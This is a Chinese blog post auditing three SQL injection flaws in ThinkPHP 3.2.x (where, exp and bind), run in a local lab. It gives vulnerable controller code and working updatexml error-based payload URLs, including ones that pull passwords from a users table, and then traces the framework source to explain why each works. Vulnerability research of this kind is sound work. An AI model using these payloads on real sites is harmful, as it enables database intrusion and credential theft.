ThinkPHP3.2.x SQL注入

最新推荐文章于 2024-05-31 01:02:12 发布
最新推荐文章于 2024-05-31 01:02:12 发布
阅读量1.4k 收藏 4
点赞数 4
分类专栏： # ThinkPHP代码审计 文章标签： thinkphp 安全 web 代码审计
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LYJ20010728/article/details/119349794
版权

ThinkPHP3.2.x SQL注入

初始配置

数据库配置

  • 数据库相关内容配置，文件位置Application/Home/Conf/config.php
<?php
return array(
    //'配置项'=>'配置值'
    //数据库配置信息
    'DB_TYPE'   => 'mysql', // 数据库类型
    'DB_HOST'   => 'localhost', // 服务器地址
    'DB_NAME'   => 'cms', // 数据库名
    'DB_USER'   => 'cms', // 用户名
    'DB_PWD'    => '20010728', // 密码
    'DB_PORT'   => 3306, // 端口
    'DB_PARAMS' =>  array(), // 数据库连接参数
    'DB_PREFIX' => '', // 数据库表前缀
    'DB_CHARSET'=> 'utf8', // 字符集
    'DB_DEBUG'  =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志
);

where注入控制器配置

控制器配置，文件位置Application/Home/Controller/IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>！</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }
}

exp注入控制器配置

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>！</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        $User = D('Users');
        $map = array('user' => $_GET['user']);
        $user = $User->where($map)->find();
        var_dump($user);
    }
}

bind注入控制器配置

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>！</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        $User = M("Users");
        $user['user_id'] = I('id');
        $data['last_name'] = I('last_name');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }
}

漏洞利用

where注入

Payload：http://127.0.0.1/cms/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)#

在这里插入图片描述

exp注入

Payload：http://127.0.0.1/cms/index.php/Home/Index/index?user[0]=exp&user[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

在这里插入图片描述

bind注入

Payload：http://127.0.0.1/cms/index.php/Home/Index/index?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&last_name=1

在这里插入图片描述

漏洞分析

where注入

从官方文档我们可以知道如果I()方法不存在过滤参数的话会默认使用htmlspecialchars方法进行过滤，但是同时默认使用的htmlspecialchars函数并没有过滤'的

跟进ThinkPHP/Common/functions.php，如果$filters不存在就等值于C('DEFAULT_FILTER')而该值正等于htmlspecialchars，后面使用回调函数array_map_recursive对数据进行过滤

在这里插入图片描述

继续往下，后面利用array_walk_recursive，如果输入数据是数组的话回调think_filter进行数据进一步过滤

在这里插入图片描述

跟进think_filter方法，如果传入的data是下面数组里面的其中一个就在其后面添加一个空格

在这里插入图片描述

进入find方法，跟进ThinkPHP/Library/Think/Model.class.php，因为我们传入的是一个数组，并且$pk值不为数组所以我们就可以直接绕过前面的预设定位到_parseOptions

在这里插入图片描述

进入_parseOptions方法，定位到_parseType

在这里插入图片描述

进入_parseType方法，发现这里对数据进行强制数据类型转换，然后返回给_parseOptions，这里对数据进行强制数据类型转换，然后放回，进行数据类型转换后自然是不存在sql注入，所以需要绕过这个函数的过滤，回到上一步发现只有经过if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))这个判断才会进入_parseType函数过滤，这里可以使用数组随便绕过

在这里插入图片描述

继续往下，进入select方法

在这里插入图片描述

跟进ThinkPHP/Library/Think/Db/Driver.class.php，定位到buildSelectSql方法

在这里插入图片描述

进入buildSelectSql方法，定位到parseSql方法

在这里插入图片描述

进入parseSql方法，从$options数组中取出对应的数值在做相对于的处理后拼接到sql语句中，直接执行导致了sql注入漏洞，任意一个一维数组都可以绕过前面的限制但是payload使用的是id[where]，因为只有符合对应的数组键值才会取出拼接

在这里插入图片描述

拼接后的语句为

SELECT * FROM `users` WHERE 1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)# LIMIT 1

这里还有一些可以利用的Payload

?id[group]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
?id[field]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23

exp注入

这里也是使用了find方法进行查询，但很明显的一点就是传入的值一开始就是一个数组，并且这里使用原生的GET来传输数据而不是thinkphp提供的I()方法，其原因是要注入成功必须要传入exp参数，而在上文中分析I()方法是发现会默认对数组一些过滤处理，其中就有exp，而exp后面跟了空格的话会导致注入失败

首先跟进ThinkPHP/Library/Think/Model.class.php中的where方法看看，因为$where是数组而整个where方法其实并没有对该数组什么特别的操作，只是在最后把$where数组赋值给了$options数组

在这里插入图片描述

进入find方法，这里和前面跟的一样，并不会对该数组进行过滤，直接看看核心的select，跟进到ThinkPHP/Library/Think/Db/Driver.class.php中的parseSql方法，进入parseWhere方法

在这里插入图片描述

此时使用payload时候传入的值$where为：

array(1) {
  ["user"]=>
  array(2) {
    [0]=>
    string(3) "exp"
    [1]=>
    string(46) "=1 and updatexml(1,concat(0x7e,user(),0x7e),1)"
  }
}

分析后发现最后会进入到parseWhereItem方法中，在exp的elseif语句中把where条件直接用点拼接，要满足$val是数组，并且索引为0的值为字符串exp，那么就可以拼接sql语句了，所以传入user[0]=exp&user[1]==1 and xxxxxx，造成SQL注入

在这里插入图片描述

bind注入

前面分析exp注入的时候，不仅exp那里存在问题，bind也同时存在问题，但是这里会在$val[1]的前面添加:符号导致sql注入失败

在这里插入图片描述

进入save方法，跟进ThinkPHP/Library/Think/Model.class.php，定位到update方法

在这里插入图片描述

跟进ThinkPHP/Library/Think/Db/Driver.class.php中的update方法，我们发现它也调用了parseWhere方法，结合前面对exp注入的分析，猜测应该还存在bind注入，但是存在一个:阻断了注入

在这里插入图片描述

跟进execute方法，看看怎么处理这个:

在这里插入图片描述
在这里插入图片描述

  • 执行替换操作，将:0替换为外部传进来的字符串，所以让传入参数等于0，这样就拼接了一个:0，然后会通过strtr被替换为1
  • 这里是把:0进行替换为外部传进来的字符串所以我们的payload，这里必须要填0才能消去:

参考文章

戳此查看参考文章

H3rmesk1t
关注
  • 4
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
专栏目录
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
10-25
主要介绍了对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析，对于网站安全十分重要！需要的朋友可以参考下
ThinkPHP v3.2.X（SQL注入&文件读取）反序列化POP链1
08-03
《ThinkPHP v3.2.X 反序列化漏洞与SQL注入及文件读取利用分析》 ThinkPHP是一款广泛使用的PHP框架，其3.2.*版本存在反序列化漏洞，允许攻击者通过精心构造的数据包触发特定行为，如SQL注入和文件读取。本文将深入...
ThinkPHP3.2.3代码审计之sql注入
最新发布
2301_79724395的博客
05-31 842
对于这个修复，说实话我很难理解是怎么实现修复的，只能去看别人的解释，首先造成我们漏洞原因就是用户的输入被带到了危险执行的地方，在我们这里，option就是相当于用户的输入，我们可以控制，而获取我们的sql语句的时候，也是根据option来控制的，而这个修复的话，其实就是要我们理解一下。我们回忆一下，这个漏洞关键是我们exp可控，导致我们在build我们sql语句的时候，可以根据对exp的控制，满足我们的if条件控制我们的sql语句，当然我们看到还有许许多多的解析，那他们能利用吗？
ThinkPHP的SQL注入问题
hldfight
11-22 6017
ThinkPHP常见SQL注入问题0x00 前言0x01 where()方法 + exp表达式1.1 漏洞代码1.2 漏洞利用1.3 漏洞原理1.4 漏洞修复0x02 数据查询方法参数可控导致可拼接操作符2.1 漏洞代码2.2 漏洞利用2.3 漏洞原理2.4 漏洞修复0x03 where()方法 + bind表达式 + save()方法3.1 漏洞代码3.2 漏洞利用3.3 漏洞原理3.4 漏洞修复0x04 order()方法4.1 漏洞代码4.2 漏洞利用4.3 漏洞原理4.4 漏洞修复0x05 参考文章
ThinkPHP5.0.x框架SQL注入
热门推荐
An丶的博客
06-05 1万+
漏洞简述尽管ThinkPHP 5.0.x框架采用了参数化查询方式，来操作数据库，但是在 insert 和 update 方法中，传入的参数可控，且无严格过滤，最终导致本次SQL注入漏洞发生。ThinkPHP基础知识在进行漏洞分析之前，我们需要了解一下ThinkPHP基础知识，这里仅介绍对本次漏洞分析有帮助的部分。ThinkPHP5.0的 目录结构thinkphp 应用部署目录├─applicati...
thinkPHP3.2.3中sql注入漏洞
XINO
05-26 1935
下载：ThinkPHP3.2.3完整版 - ThinkPHP框架 配置 首先配置一下数据库 相对于TP5,可以先看下框架的特定函数 thinkphp3内置了很多大写函数 A 快速实例化Action类库 B 执行行为类 C 配置参数存取方法 D 快速实例化Model类库 F 快速简单文本数据存取方法 I 获取系统输⼊变(与tp5input方法类似) L 语言参数存取方法 M 快速高性能实例化模型 R 快速远程调用Action类方法 S 快速缓存存取方法 U URL动态生成和重定向方法 W 快速Widget输
ThinkPHP_3.2.zip_thinkPHP3.2_thinkphp3.2..3
09-14
4. 数据库操作：提供统一的数据库访问接口，支持SQL预处理，有效防止SQL注入，同时支持多数据库类型，如MySQL、SQLite等。 5. 自动加载：自动加载类库功能，减少了手动引入文件的繁琐，提高了开发效率。 6. 错误和...
ThinkPHP3.2自学开发手册
12-29
10. **安全防护**：学习ThinkPHP的安全防护措施，如SQL注入防护、XSS攻击防御、CSRF保护，以及如何编写安全的代码。 11. **命令行工具**：掌握ThinkPHP的命令行工具，如生成模型、控制器、视图，以及执行定时任务等...
thinkphp3.2框架中where条件查询用法总结
10-16
在ThinkPHP3.2框架中，`where`条件...同时，需要注意的是，在使用`where`条件查询时，确保数据过滤和安全，防止SQL注入攻击。对于更复杂的查询需求，可以结合`join`、`group`、`order`、`having`等其他查询方法来完成。
Thinkphp3.2装饰行业企业网站模版源码.rar
04-14
- **安全防护**：Thinkphp3.2内置了SQL注入防护、XSS防护等安全机制，保障网站免受攻击。 - **性能优化**：支持缓存机制，如页面静态化、数据缓存，提升网站运行速度。 5. **安装与部署**： - **环境配置**：...
ThinkPHP5 SQL注入（select方法）
LYJ20010728的博客
08-13 2407
ThinkPHP5 SQL注入（select方法）漏洞概要初始配置漏洞利用漏洞分析漏洞修复攻击总结 漏洞概要 本次漏洞存在于 Mysql 类的 parseWhereItem 方法中，由于程序没有对数据进行很好的过滤，将数据拼接进 SQL 语句，导致 SQL注入漏洞 的产生 漏洞影响版本： ThinkPHP5全版本 初始配置 获取测试环境代码 composer create-project --prefer-dist topthink/think=5.1 tpH3rmesk1t 将 c
ThinkPHP依赖注入
weixin_30908707的博客
11-30 287
D:\wamp64\www\thinkphp5.1\tp5.1\application\index\controller\Demo1.php文件 <?php namespace app\index\controller; /** *容器与依赖注入的原理 * 1.任何的URL访问，最终都是定位到控制器,由控制器中某个具体的方法去执行 * 2.一个控制器对应着一个类，如果...
ThinkPHP3.2.x （SQL注入&文件读取）反序列化POP链
LYJ20010728的博客
08-10 786
ThinkPHP3.2.x（SQL注入&文件读取）反序列化POP链初始配置漏洞利用漏洞分析POP链分析POP链构造漏洞利用参考文章 初始配置 这里利用ThinkPHP3.2.3做示例，戳此进行下载 php的版本采用PHP5 (PHP7下起的ThinkPHP框架在调用有参函数时不传参数会触发框架里的错误处理) 下载后的源码中，需要对Application/Home/Controller/IndexController.class.php内容进行修改 <?php namespace Hom
学习笔记-ThinkPHP5漏洞分析之SQL注入(四)
人饭子的博客
11-09 1104
ThinkPHP5漏洞分析之SQL注入(四) 本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤，直接将数据拼接进 SQL 语句，最终导致 SQL注入漏洞 的产生。漏洞影响版本： 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。 不同版本 payload 需稍作调整： 5.0.0~5...
ThinkPHP3.2.3 find注入
LiBai'S BLOG
12-31 7329
find(),select(),delete()注入方法类似 主要是在解析完$options之后，还对$options['where']判断了一下是否为空 在 D:\phpstudy_pro\WWW\thinkphp3\Application\Home\Controller下的IndexController.class.php添加代码 一样的思路，首先用id=1 and走一遍流程 一直走，注意到这个地方，我们条件满足进入parseType函数 注意，这时候我们的data还是1 and 经过强制转换后我
Thinkphp 5.1.17 SQL注入
feng的博客
03-05 1117
前言 之前审计的是5.0.15的parseData函数漏洞导致的SQL注入。这次审的是5.1.17的parseArrayData函数漏洞导致的SQL注入。影响版本： 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。 composer create-project topthink/think=5.1.17 thinkphp5.1.17 然后改一下composer.json，再composer update就好了。 然后设置一下database.php：
ThinkPHP5.0.x SQL注⼊
LYJ20010728的博客
08-09 1152
ThinkPHP5.0.x SQL注⼊初始配置漏洞利用漏洞分析漏洞描述ThinkPHP5.0.x目录结构Payload说明Application\index\controller\Index.php补充代码说明本地代码审计漏洞修复 初始配置 这里利用ThinkPHP5.0.14做示例，戳此进行下载 下载后的源码中，需要对Application\index\controller\Index.php内容进行修改 <?php namespace app\index\controller; use t
ThinkPHP5.0.10 SQL注入
LYJ20010728的博客
08-13 901
ThinkPHP5.0.10 SQL注入漏洞概要初始配置漏洞利用漏洞分析漏洞修复攻击总结 漏洞概要 本次漏洞存在于 Mysql 类的 parseWhereItem 方法中，由于程序没有对数据进行很好的过滤，直接将数据拼接进 SQL 语句；再一个， Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字，最终导致 SQL注入漏洞的产生 漏洞影响版本： ThinkPHP=5.0.10 初始配置 获取测试环境代码 composer create-project --pref
ThinkPHP v3.2.x SQL注入与文件读取反序列化POP链解析
"ThinkPHP v3.2.X版本中的SQL注入与文件读取漏洞通过反序列化POP链进行利用的详细分析" 在ThinkPHP v3.2.*版本中，存在SQL注入和文件读取的安全漏洞，主要是由于框架对对象反序列化过程中的不安全操作引起的。这些...
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值